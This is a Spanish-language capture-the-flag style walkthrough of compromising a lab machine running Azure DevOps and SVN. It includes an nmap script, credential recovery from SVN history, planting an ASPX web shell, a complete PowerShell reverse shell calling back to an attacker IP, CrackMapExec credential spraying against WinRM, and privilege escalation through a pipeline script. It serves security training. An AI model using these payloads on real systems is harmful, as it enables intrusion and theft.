CÓMO HACKEAR UN HOST CON AZURE DEVOPS

Azure DevOps Serve es una solución integral desarrollada por Microsoft para el control de versiones, recopilación de informes y seguimiento para la colaboración en proyectos de desarrollo de software.

El producto está disponible como una aplicación independiente, similar en funcionalidad al servicio en la nube de Azure DevOps Services (hasta 2019 se llamaba Visual Studio Team Services, VSTS).

En esta ocasión, los especialistas en seguridad web del Instituto Internacional de Seguridad Cibernética (IICS) le mostrarán cómo hacerse cargo de un host con Azure DevOps. Cabe aclarar que el presente material fue elaborado con fines enteramente didácticos, por lo que IICS no se hace responsable del mal uso que pueda darse a la información aquí contenida.

RECON

En esta demostración, la máquina tiene una dirección IP de 10.10.10.192, que fue agregada a /etc/hosts.

10.10.10.203	worker.htb

En primer lugar, los expertos en seguridad web señalan que debemos escanear los puertos abiertos. Haga esto usando el siguiente script, que toma como argumento la dirección del host que se está escaneando:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1 

El servidor web y el servicio SVN están disponibles para nosotros. Aún así, la web aún no tiene nada que ofrecernos, mencionan los expertos en seguridad web.

Pasemos al servicio SNV. Subversion es un sistema de control de versiones centralizado y gratuito. Consigamos información básica.

svn info svn://worker.htb 

Ya conocemos la línea de base, el autor, y podemos averiguar los últimos cinco cambios.

PUNTO DE ENTRADA

Veamos la lista de archivos en esta rama.

svn list svn://worker.htb

Tenemos un directorio y un archivo, Descargaremos todo en nuestro host.

svn export svn: //worker.htb/dimension.worker.htb/
svn export svn://worker.htb/moved.txt

Y del último archivo encontramos el nuevo subdominio, señalan los expertos en seguridad web.

Agreguémoslo a /etc/hosts.

10.10.10.203      devops.worker.htb

Pero ahí nos encontramos con la autenticación HTTP. Veamos los últimos cambios. En el segundo paso, encontramos un archivo interesante que no habíamos visto antes.

svn checkout -r 1 svn://worker.htb
svn checkout -r 2 svn://worker.htb

A continuación aplicaremos los cambios para obtener este archivo.

svn up -r 2 deploy.ps1

Y en este script de PowerShell, encontraremos las credenciales, señalan los expertos en seguridad web.

Con las credenciales encontradas podremos autenticarnos sin complicaciones.

USO

Prestemos atención al repositorio y al hecho de que contiene el código.

Usamos el nombre del repositorio como subdominio ingresándolo en /etc/hosts.

10.10.10.203      spectral.worker.htb

De este modo ingresaremos al sitio web.

Este es el vector RCE. Hagamos el cambio agregando un shell ASPX al servidor. Creemos una nueva rama, agreguemos un archivo, agreguemos una tarea y hagamos que la rama sea la principal.

Y después de aplicar todos los cambios, pasemos a nuestro archivo.

Debemos obtener un shell completo. Para esto, los expertos en seguridad web recomiendan iniciar el listener y ejecutar la conexión de retroceso de PowerShell.

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}; $client.Close()

De este modo obtendremos el shell.

Después de echar un vistazo alrededor, encontramos los directorios de configuración.

Encontraremos múltiples conjuntos de nombre de usuario y contraseña en el archivo passwd.

Y por los puertos abiertos, determinamos que el servicio WinRM está en ejecución, mencionan los expertos en seguridad web.

A continuación podemos elaborar listas de usuarios y contraseñas con la información encontrada.

cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txt
cat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt

Ahora podremos buscar credenciales empleando un ataque de fuerza bruta con la herramienta CrackMapExec.

cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb

Como resultado, encontramos las credenciales del usuario del sistema.

ROOT

Con las mismas credenciales, regresamos a nuestro sitio.

Esta vez podemos crear nuestro propio proyecto y ejecutar comandos arbitrarios a través de la consola, mencionan los especialistas en seguridad web.

En este archivo, eliminamos el grupo y en steps -> script escribimos lo que debe ejecutar el sistema. Por ejemplo, ordenamos la carga y ejecución del shell anterior.

En la ventana del oyente vemos una nueva conexión, pero ahora un shell con altos privilegios.

Para conocer más sobre riesgos de seguridad informática, malware, vulnerabilidades y tecnologías de la información, no dude en ingresar al sitio web del Instituto Internacional de Seguridad Cibernética (IICS).